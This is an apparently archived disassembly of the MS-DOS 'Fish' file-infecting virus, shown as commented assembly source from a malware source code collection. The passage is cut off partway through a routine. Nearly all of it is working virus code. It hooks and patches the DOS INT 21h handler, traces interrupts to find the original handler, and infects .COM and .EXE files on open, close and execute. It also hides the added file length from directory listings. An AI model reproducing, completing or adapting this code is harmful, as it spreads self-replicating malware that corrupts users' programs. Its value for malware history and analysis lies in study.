MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.fish_.asm
2021-01-12 17:41:47 -06:00

1733 lines
40 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ FISH_ ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 1-Jan-80 ÛÛ
;ÛÛ Version: ÛÛ
;ÛÛ Code type: zero start ÛÛ
;ÛÛ Passes: 9 Analysis Options on: A ÛÛ
;ÛÛ ÛÛ
;ÛÛ Disassembled by: Sir John -- 13-Mar-91 ÛÛ
;ÛÛ ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 0Ah ; (0000:000A=0)
data_3e equ 12h ; (0000:0012=70h)
data_4e equ 14h ; (0000:0014=0FF54h)
data_5e equ 18h ; (0000:0018=0FF23h)
data_6e equ 1Ah ; (0000:001A=0F000h)
data_7e equ 475h ; (0000:0475=1)
data_8e equ data_23 - virus_entry + 3 ; jmp_len = 3
MCB_0003 equ 3 ; Siza of memory block in paragraphs
PSP_0003 equ 3 ; Memory size in paragraphs
PSP_000A equ 0Ah ; (026E:000A=0)
COM_beg equ 100h ; .COM file beginning
data_33e equ 0B3h ; (cs:00B3=5)
all_len equ 1000h
encr_len equ ((locloop_105 - vir_beg) and 0fffeh)+vir_beg - data_311
vir_len equ vir_end - vir_beg
read_len equ 1Ch
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 0
vir_beg: db 0
jmp virus_entry ; (0DCE)
data_23 dw 20CDh ; original file content
data_24 dw 0
data_26 dw 0
db 8 dup (0)
data_27 dw 0
data_28 dw 0
db 0, 0
data_29 dd 0
db 0, 0, 0, 0
exe_flag db 0
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
pushf
call dword ptr cs:INT_21_ptr ; (cs:0E35=0)
retn
sub_1 endp
data_311 db 0
db 'COD'
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
pop cs:tmp_adr ; (cs:0EEA=0)
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
jmp word ptr cs:tmp_adr ; (cs:0EEA=0)
sub_2 endp
sub_3 proc near
pop cs:tmp_adr ; (cs:0EEA=0)
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp word ptr cs:tmp_adr ; (cs:0EEA=0)
sub_3 endp
db 'SHARK'
sub_4 proc near
mov cs:old_SP,sp ; (cs:0F57=0)
mov cs:old_SS,ss ; (cs:0F59=151Ch)
push cs
pop ss
mov sp,cs:virus_SP ; (cs:0F5B=0)
db 2Eh
call sub_3 ; Pop flags and registers
mov ss,cs:old_SS ; (cs:0F59=151Ch)
mov cs:virus_SP,sp ; (cs:0F5B=0)
mov sp,cs:old_SP ; (cs:0F57=0)
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
mov cs:old_SP,sp ; (cs:0F57=0)
mov cs:old_SS,ss ; (cs:0F59=151Ch)
push cs
pop ss
mov sp,cs:virus_SP ; (cs:0F5B=0)
db 2Eh
call sub_2 ; Push flags and registers
mov ss,cs:old_SS ; (cs:0F59=151Ch)
mov cs:virus_SP,sp ; (cs:0F5B=0)
mov sp,cs:old_SP ; (cs:0F57=0)
retn
sub_5 endp
db 08Ch
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
mov si,offset data_70 ; (cs:0E4B=0)
les di,cs:INT_21_ptr ; (cs:0E35=0) Load 32 bit ptr
push cs
pop ds
cld ; Clear direction
mov cx,5
locloop_1: lodsb ; String [si] to al
xchg al,es:[di]
mov [si-1],al
inc di
loop locloop_1 ; Loop if cx > 0
retn
sub_6 endp
db 'CARP'
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
mov al,1
push cs
pop ds
mov dx,offset tracer
call sub_8 ; Set INT 01 vector
retn
sub_7 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
push es
push bx
xor bx,bx ; Zero register
mov es,bx
mov bl,al
shl bx,1 ; Shift w/zeros fill
shl bx,1 ; Shift w/zeros fill
mov es:[bx],dx
mov es:[bx+2],ds
pop bx
pop es
retn
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
push ds
push si
xor si,si ; Zero register
mov ds,si
xor ah,ah ; Zero register
mov si,ax
shl si,1 ; Shift w/zeros fill
shl si,1 ; Shift w/zeros fill
mov bx,[si]
mov es,[si+2]
pop si
pop ds
retn
sub_9 endp
db 'BASS'
virus: call sub_13 ; (03AD)
db 0B9h
call sub_25 ; (0B57)
db 08Eh
mov cs:old_AX,ax ; (cs:0EE3=0)
mov ah,52h
mov cs:virus_SP,1000h ; (cs:0F5B=0)
mov cs:old_DS,ds ; (cs:0E45=26Eh)
call sub_29 ; (0C97)
db 0EBh
int 21h ; DOS Services ah=function 52h
; get DOS data table ptr es:bx
mov ax,es:[bx-2] ; Segment of first MCB
mov cs:data_69,ax ; (cs:0E47)
push cs
pop ds
call sub_25 ; (0B57)
db 0A1h
mov al,21h
call sub_9 ; Get INT 21 vector
mov INT_13_prt+2,es ; (cs:0E2F) - uses it as temp. ptr
mov INT_13_prt,bx ; (cs:0E2D)
mov dx,offset tracer
mov al,1
mov byte ptr data_73,0 ; (cs:0E50)
call sub_8 ; Set INT 01 to tracer
pushf
pop ax
or ax,100h ; Set TF to trace INT 21
push ax
popf
pushf
mov ah,61h
call dword ptr INT_13_prt ; (cs:0E2D) - trace INT 21
pushf
pop ax
and ax,0FEFFh ; Clear TF
push ax
popf
call sub_12 ; (033B)
db 0A3h
les di,dword ptr INT_13_prt ; (cs:0E2D) Load 32 bit ptr
mov word ptr INT_21_ptr+2,es ; (cs:0E37)
mov byte ptr data_70,0EAh ; (cs:0E4B) - jmp xxxx:xxxx opcode
mov data_71,offset loc_1021 ; (cs:0E4C)
mov word ptr INT_21_ptr,di ; (cs:0E35)
mov data_72,cs ; (cs:0E4E=7DBCh)
call sub_10 ; (0180)
call sub_6 ; Swap JMP xxxx:xxxx
call sub_26 ; (0B96)
db 089h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
mov al,2Fh
call sub_9 ; Get INT 2F vector
mov bx,es
cmp cs:data_69,bx ; (cs:0E47=0)
jae loc_ret_4 ; Jump if above or =
call sub_27 ; (0BD0)
mov ds,cs:INT_13_prt+2 ; (cs:0E2F=140Bh)
push cs:INT_13_prt ; (cs:0E2D=0)
pop dx
mov al,13h
call sub_8 ; Set INT 13 vector
xor bx,bx ; Zero register
mov ds,bx
mov byte ptr ds:data_7e,2 ; (0000:0475=1)
loc_ret_4: retn
sub_10 endp
db ' FISH VIRUS #6 - EACH DIFF - BON'
db 'N 2/90 ', 27h, '~knzyvo}', 27h, '$'
loc_4_1:
call sub_6 ; Swap JMP xxxx:xxxx
mov cs:data_72,cs ; (cs:0E4E=7DBCh)
call sub_6 ; Swap JMP xxxx:xxxx
push cs
pop ds
push ds
pop es
mov ax,old_DS ; (cs:0E45=26Eh)
mov es,ax
lds dx,dword ptr es:PSP_000A ; Load 32 bit ptr - terminate addr
mov ds,ax
add ax,10h
add word ptr cs:data_29+2,ax ; (cs:001A=0)
cmp cs:exe_flag,0 ; (cs:0020=0)
sti ; Enable interrupts
jnz loc_5 ; Jump if not zero
mov ax,cs:data_23 ; (cs:0004=0FBE9h)
mov ds:COM_beg,ax ; (026E:0100=0)
mov ax,cs:data_24 ; (cs:0006=0)
mov ds:COM_beg+2,ax ; (026E:0102=1700h)
mov ax,cs:data_26 ; (cs:0008=0)
mov ds:COM_beg+4,ax ; (026E:0104=9Ch)
push cs:old_DS ; (cs:0E45=26Eh)
xor ax,ax ; Zero register
inc ah
push ax
mov ax,cs:old_AX ; (cs:0EE3=0)
retf ; Jmp cs:100
loc_5:
add cs:data_27,ax ; (cs:0012=0)
mov ax,cs:old_AX ; (cs:0EE3=0)
mov sp,cs:data_28 ; (cs:0014=0)
mov ss,cs:data_27 ; (cs:0012=0)
jmp cs:data_29 ; (cs:0018=0)
db 'TROUT'
loc_7:
xor sp,sp ; Zero register
call sub_11 ; (024F)
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_11 proc near
mov bp,ax
mov ax,cs
mov bx,10h
mul bx ; dx:ax = reg * ax
pop cx
sub cx,24Fh
add ax,cx
adc dx,0
div bx ; ax,dx rem=dx:ax/reg
push ax
mov ax,offset virus
push ax
mov ax,bp
retf ; Return far
sub_11 endp
loc_9:
call sub_12 ; (033B)
db 0CDh
call sub_29 ; (0C97)
db 0CBh
push bx
mov bx,sp
mov bx,ss:[bx+6]
mov cs:data_85,bx ; (cs:0EB3=0)
pop bx
push bp
mov bp,sp
call sub_25 ; (0B57)
db 0A3h
call sub_5 ; Push all in vir's stack
call sub_6 ; Swap JMP xxxx:xxxx
call sub_4 ; Pop all from vir's stack
call sub_2 ; Push flags and registers
call sub_25 ; (0B57)
db 088h
cmp ah,0Fh
jne loc_11 ; Jump if not equal
jmp loc_32 ; (0389)
db 0B8h
loc_11:
cmp ah,11h
jne loc_12 ; Jump if not equal
jmp dos_11_12 ; (0344)
db 0A1h
loc_12:
cmp ah,12h
jne loc_13 ; Jump if not equal
jmp dos_11_12 ; (0344)
db 089h
loc_13:
cmp ah,14h
jne loc_14 ; Jump if not equal
jmp dos_14 ; (03C4)
db 0EBh
loc_14:
cmp ah,21h
jne loc_15 ; Jump if not equal
jmp dos_21 ; (03B8)
db 08Ch
loc_15:
cmp ah,23h
jne loc_16 ; Jump if not equal
jmp dos_23 ; (0451)
db 0A3h
loc_16:
cmp ah,27h
jne loc_17 ; Jump if not equal
jmp dos_27 ; (03B6)
db 0EBh
loc_17:
cmp ah,3Dh
jne loc_18 ; Jump if not equal
jmp dos_3D ; (04A5)
db 0FFh
loc_18:
cmp ah,3Eh
jne loc_19 ; Jump if not equal
jmp dos_3E ; (04E9)
db 0A1h
loc_19:
cmp ah,3Fh
jne loc_20 ; Jump if not equal
jmp dos_3F ; (0A6E)
db 088h
loc_20:
cmp ah,42h
jne loc_21 ; Jump if not equal
jmp dos_42 ; (0A3C)
db 08Ch
loc_21:
cmp ah,4Bh
jne loc_22 ; Jump if not equal
jmp dos_4B ; (051F)
db 0EBh
loc_22:
cmp ah,4Eh
jne loc_24 ; Jump if not equal
jmp dos_4E_4F ; (0B5F)
db 089h
loc_24:
cmp ah,4Fh
jne loc_25 ; Jump if not equal
jmp dos_4E_4F ; (0B5F)
db 08Eh
loc_25:
cmp ah,57h
jne loc_26 ; Jump if not equal
jmp dos_57 ; (09ED)
loc_26:
jmp loc_96 ; (0C78)
db 0EBh
loc_27:
call sub_29 ; (0C97)
db 0A1h
call sub_5 ; Push all in vir's stack
call sub_6 ; Swap JMP xxxx:xxxx
call sub_4 ; Pop all from vir's stack
mov bp,sp
push cs:data_85 ; (cs:0EB3=0)
pop word ptr [bp+6]
pop bp
iret
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_12 proc near
inc cs:_null__ ; (cs:0E31=0)
jmp loc_91 ; (0B57)
sub_12 endp
db 0A1h
dos_11_12:
call sub_3 ; Pop flags and registers
call sub_1 ; Call INT 21
or al,al ; Zero ?
jnz loc_27 ; Jump if not zero
call sub_2 ; Push flags and registers
call sub_14 ; (0515)
mov al,0
cmp byte ptr [bx],0FFh
jne loc_30 ; Jump if not equal
mov al,[bx+6]
add bx,7
loc_30:
and cs:data_100,al ; (cs:0EF0=0)
test byte ptr [bx+1Ah],80h
jz dos_0F ; Jump if zero
sub byte ptr [bx+1Ah],0C8h
cmp byte ptr cs:data_100,0 ; (cs:0EF0=0)
jne dos_0F ; Jump if not equal
sub word ptr [bx+1Dh],0E00h
sbb word ptr [bx+1Fh],0
dos_0F:
call sub_3 ; Pop flags and registers
jmp short loc_27 ; (0322)
db 'FIN'
loc_32:
call sub_3 ; Pop flags and registers
call sub_1 ; Call INT 21
call sub_2 ; Push flags and registers
or al,al ; Zero ?
jnz dos_0F ; Jump if not zero
mov bx,dx
test byte ptr [bx+15h],80h
jz dos_0F ; Jump if zero
sub byte ptr [bx+15h],0C8h
sub word ptr [bx+10h],0E00h
sbb byte ptr [bx+12h],0
jmp short dos_0F ; (0381)
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_13 proc near
dec cs:_null__ ; (cs:0E31=0)
jmp loc_91 ; (0B57)
sub_13 endp
db 0A3h
dos_27:
jcxz loc_37 ; Jump if cx=0
dos_21:
mov bx,dx
mov si,[bx+21h]
or si,[bx+23h]
jnz loc_37 ; Jump if not zero
jmp short loc_36 ; (03CE)
dos_14:
mov bx,dx
mov ax,[bx+0Ch]
or al,[bx+20h]
jnz loc_37 ; Jump if not zero
loc_36:
call sub_18 ; Recognize .COM/.EXE file
jnc loc_38 ; Jump if carry=0
loc_37:
jmp loc_26 ; (031E)
loc_38:
call sub_3 ; Pop flags and registers
call sub_2 ; Push flags and registers
call sub_1 ; Call INT 21
mov [bp-8],cx
mov [bp-4],ax
push ds
push dx
call sub_14 ; (0515)
cmp word ptr [bx+14h],1
je loc_39 ; Jump if equal
mov ax,[bx]
add ax,[bx+2]
push bx
mov bx,[bx+4]
not bx
add ax,bx
pop bx
jz loc_39 ; Jump if zero
add sp,4
jmp dos_0F ; (0381)
db 'MUSKY'
loc_39:
pop dx
pop ds
mov si,dx
push cs
pop es
mov cx,25h
mov di,offset data_86 ; (cs:0EB5=0)
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov di,offset data_86 ; (cs:0EB5=0)
push cs
pop ds
mov dx,[di+12h]
mov ax,[di+10h]
add ax,0E0Fh
adc dx,0
and ax,0FFF0h
mov [di+12h],dx
mov [di+10h],ax
sub ax,vir_len + vir_beg - data_28
sbb dx,0
mov [di+23h],dx
mov [di+21h],ax
mov cx,1Ch
mov word ptr [di+0Eh],1
mov ah,27h ; Random block read
mov dx,di ; DS:DX -> FCB
call sub_1 ; Call INT 21
jmp dos_0F ; (0381)
dos_23:
push cs
pop es
mov di,offset data_86 ; (cs:0EB5=0)
mov cx,25h
mov si,dx
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
push ds
push dx
push cs
pop ds
mov ah,0Fh ; Open disk file
mov dx,offset data_86 ; DS:DX -> FCB
call sub_1 ; Call INT 21
mov ah,10h ; Close file
call sub_1 ; Call INT 21
test byte ptr data_89,80h ; (cs:0ECA=0)
pop si
pop ds
jz loc_41
les bx,cs:data_88 ; (cs:0EC5) Load 32 bit ptr
mov ax,es
sub bx,vir_len
sbb ax,0
xor dx,dx
mov cx,cs:data_87 ; (cs:0EC3)
dec cx
add bx,cx
adc ax,0
inc cx
div cx ; ax,dx rem=dx:ax/reg
mov [si+23h],ax
xchg ax,dx
xchg ax,bx
div cx ; ax,dx rem=dx:ax/reg
mov [si+21h],ax
jmp dos_0F ; (0381)
loc_41:
jmp loc_26 ; (031E)
dos_3D:
call sub_20 ; (0914)
call sub_19 ; Recognize .COM/.EXE file
jc loc_44 ; Jump if carry Set
cmp byte ptr cs:data_76,0 ; (cs:0EA2=0)
je loc_44 ; Jump if equal
call sub_21 ; (0921)
cmp bx,0FFFFh
je loc_44 ; Jump if equal
dec cs:data_76 ; (cs:0EA2=0)
push cs
pop es
mov cx,14h
mov di,offset file_name ; (cs:0E52=0)
xor ax,ax ; Zero register
repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax
mov ax,cs:data_77 ; (cs:0EA3=0)
mov es:[di-2],ax
mov es:[di+26h],bx
mov [bp-4],bx
loc_43:
and byte ptr cs:data_85,0FEh ; (cs:0EB3=0)
jmp dos_0F ; (0381)
loc_44:
jmp loc_26 ; (031E)
dos_3E:
push cs
pop es
call sub_20 ; (0914)
mov cx,14h
mov ax,cs:data_77 ; (cs:0EA3=0)
mov di,offset file_name ; (cs:0E52=0)
loc_46:
repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax
jnz loc_47 ; Jump if not zero
cmp bx,es:[di+26h]
jne loc_46 ; Jump if not equal
mov word ptr es:[di-2],0
call sub_15 ; (0722)
inc cs:data_76 ; (cs:0EA2=0)
jmp short loc_43 ; (04DD)
loc_47:
jmp loc_26 ; (031E)
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_14 proc near
mov ah,2Fh ; Get disk transfer area address
push es
call sub_1 ; Call INT 21
push es
pop ds
pop es
retn
sub_14 endp
dos_4B:
or al,al ; Zero ?
jz loc_49 ; Jump if zero
jmp loc_56 ; (067C)
loc_49:
push ds
push dx
mov word ptr cs:data_51+2,es ; (cs:0E26=7DBCh)
mov cs:data_51,bx ; (cs:0E24=0)
lds si,dword ptr cs:data_51 ; (cs:0E24=0) Load 32 bit ptr
mov cx,0Eh
mov di,offset data_101 ; (cs:0EF1=0)
push cs
pop es
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
pop si
pop ds
mov cx,50h
mov di,offset data_109 ; (cs:0F07=0)
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov bx,0FFFFh
call sub_3 ; Pop flags and registers
pop bp
pop cs:data_95 ; (cs:0EE6=0)
pop cs:data_96 ; (cs:0EE8=0)
pop cs:data_85 ; (cs:0EB3=0)
push cs
mov ax,4B01h
pop es
pushf
mov bx,offset data_101
call dword ptr cs:INT_21_ptr ; (cs:0E35=0)
jnc loc_50 ; Jump if carry=0
or cs:data_85,1 ; (cs:0EB3=0)
push cs:data_85 ; (cs:0EB3=0)
push cs:data_96 ; (cs:0EE8=0)
push cs:data_95 ; (cs:0EE6=0)
push bp
les bx,dword ptr cs:data_51 ; (cs:0E24=0) Load 32 bit ptr
mov bp,sp
jmp loc_27 ; (0322)
loc_50:
call sub_20 ; (0914)
push cs
pop es
mov cx,14h
mov di,offset file_name ; (cs:0E52=0)
loc_51:
mov ax,cs:data_77 ; (cs:0EA3=0)
repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax
jnz loc_52 ; Jump if not zero
mov word ptr es:[di-2],0
inc cs:data_76 ; (cs:0EA2=0)
jmp short loc_51 ; (059C)
loc_52:
lds si,cs:data_107 ; (cs:0F03=0) Load 32 bit ptr
cmp si,1
jne loc_53 ; Jump if not equal
mov dx,ds:data_6e ; (0000:001A=0F000h)
add dx,10h
mov ah,51h ; Get PSP segment in BX
call sub_1 ; Call INT 21
add dx,bx
mov word ptr cs:data_107+2,dx ; (cs:0F05=0)
push word ptr ds:data_5e ; (0000:0018=0FF23h)
pop word ptr cs:data_107 ; (cs:0F03=0)
add bx,ds:data_3e ; (0000:0012=70h)
add bx,10h
mov cs:data_106,bx ; (cs:0F01=0)
push word ptr ds:data_4e ; (0000:0014=0FF54h)
pop cs:data_105 ; (cs:0EFF=0)
jmp loc_54 ; (0617)
loc_53:
mov ax,[si]
add ax,[si+2]
push bx
mov bx,[si+4]
not bx
add ax,bx
pop bx
jz loc_55 ; Jump if zero
push cs
pop ds
mov dx,0F07h
call sub_19 ; Recognize .COM/.EXE file
call sub_21 ; (0921)
inc cs:data_99 ; (cs:0EEF=0)
call sub_15 ; (0722)
dec cs:data_99 ; (cs:0EEF=0)
loc_54:
mov ah,51h ; Get PSP segment in BX
call sub_1 ; Call INT 21
call sub_5 ; Push all in vir's stack
call sub_6 ; Swap JMP xxxx:xxxx
call sub_4 ; Pop all from vir's stack
mov ds,bx
mov es,bx
push cs:data_85 ; (cs:0EB3=0)
push cs:data_96 ; (cs:0EE8=0)
push cs:data_95 ; (cs:0EE6=0)
pop word ptr ds:PSP_000A ; (0000:000A=0F000h)
pop word ptr ds:PSP_000A+2 ; (0000:000C=7F6h)
push ds
mov al,22h
lds dx,dword ptr ds:PSP_000A ; (0000:000A=0F000h) Load 32 bit ptr
call sub_8 ; Set INT 22 vector
pop ds
popf
pop ax
mov sp,cs:data_105 ; (cs:0EFF=0)
mov ss,cs:data_106 ; (cs:0F01=0)
jmp dword ptr cs:data_107 ; (cs:0F03=0)
db 'SOLE'
loc_55: mov bx,[si+1]
mov ax,ds:[data_8e][bx+si] ; (0000:F239=7404h)
mov [si],ax
mov ax,ds:[data_8e+2][bx+si] ; (0000:F23B=7504h)
mov [si+2],ax
mov ax,ds:[data_8e+4][bx+si] ; (0000:F23D=0FF04h)
mov [si+4],ax
call sub_24 ; (0A51)
jmp short loc_54 ; (0617)
loc_56:
cmp al,1
je loc_57 ; Jump if equal
jmp loc_26 ; (031E)
loc_57:
or cs:data_85,1 ; (cs:0EB3=0)
mov word ptr cs:data_51+2,es ; (cs:0E26=7DBCh)
mov cs:data_51,bx ; (cs:0E24=0)
call sub_3 ; Pop flags and registers
call sub_1 ; Call INT 21
call sub_2 ; Push flags and registers
les bx,dword ptr cs:data_51 ; (cs:0E24=0) Load 32 bit ptr
lds si,dword ptr es:[bx+12h] ; Load 32 bit ptr
jc loc_60 ; Jump if carry Set
and byte ptr cs:data_85,0FEh ; (cs:0EB3=0)
cmp si,1
je loc_58 ; Jump if equal
mov ax,[si]
add ax,[si+2]
push bx
mov bx,[si+4]
not bx
add ax,bx
pop bx
jnz loc_59 ; Jump if not zero
mov bx,[si+1]
mov ax,word ptr ds:[0F239h][bx+si] ; (cs:F239=0)
mov [si],ax
mov ax,word ptr ds:[0F23Bh][bx+si] ; (cs:F23B=0)
mov [si+2],ax
mov ax,word ptr ds:[0F23Dh][bx+si] ; (cs:F23D=0)
mov [si+4],ax
jmp short loc_59 ; (0707)
loc_58:
mov dx,word ptr data_29+2 ; (cs:001A=0)
call sub_20 ; (0914)
mov cx,cs:data_77 ; (cs:0EA3=0)
add cx,10h
add dx,cx
mov es:[bx+14h],dx
mov ax,word ptr data_29 ; (cs:0018=0)
mov es:[bx+12h],ax
mov ax,data_27 ; (cs:0012=0)
add ax,cx
mov es:[bx+10h],ax
mov ax,data_28 ; (cs:0014=0)
mov es:[bx+0Eh],ax
loc_59:
call sub_20 ; (0914)
mov ds,cs:data_77 ; (cs:0EA3=0)
mov ax,[bp+2]
mov ds:data_1e,ax ; (0000:000A=0F000h)
mov ax,[bp+4]
mov word ptr ds:data_1e+2,ax ; (0000:000C=7F6h)
loc_60:
jmp dos_0F ; (0381)
db 'FISH'
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_15 proc near
call sub_27 ; (0BD0)
call sub_16 ; (0804)
mov exe_flag,1 ; (cs:0020)
cmp buffer,5A4Dh ; (cs:0E00) 'MZ'
je loc_61 ; Jump if equal
cmp buffer,4D5Ah ; (cs:0E00) 'ZM'
je loc_61 ; Jump if equal
dec exe_flag ; (cs:0020)
jz loc_64 ; Jump if zero
loc_61:
mov ax,data_43 ; (cs:0E04=0)
shl cx,1 ; Shift w/zeros fill
mul cx ; dx:ax = reg * ax
add ax,200h
cmp ax,si
jb loc_63 ; Jump if below
mov ax,data_45 ; (cs:0E0A=0)
or ax,data_46 ; (cs:0E0C=0)
jz loc_63 ; Jump if zero
mov dx,file_pos1+2 ; (cs:0EAB=0)
mov cx,200h
mov ax,file_pos1 ; (cs:0EA9=0)
div cx ; ax,dx rem=dx:ax/reg
or dx,dx ; Zero ?
jz loc_62 ; Jump if zero
inc ax
loc_62:
mov data_41,dx ; (cs:0E02=0)
mov data_43,ax ; (cs:0E04=0)
cmp data_49,1 ; (cs:0E14=0)
je loc_65 ; Jump if equal
mov data_49,1 ; (cs:0E14=0)
mov ax,si
sub ax,data_44 ; (cs:0E08=0)
mov data_50,ax ; (cs:0E16=0)
add data_43,7 ; (cs:0E04=0)
mov data_48,offset buffer ; (cs:0E10=0)
mov data_47,ax ; (cs:0E0E=0)
call sub_17 ; (0866)
loc_63:
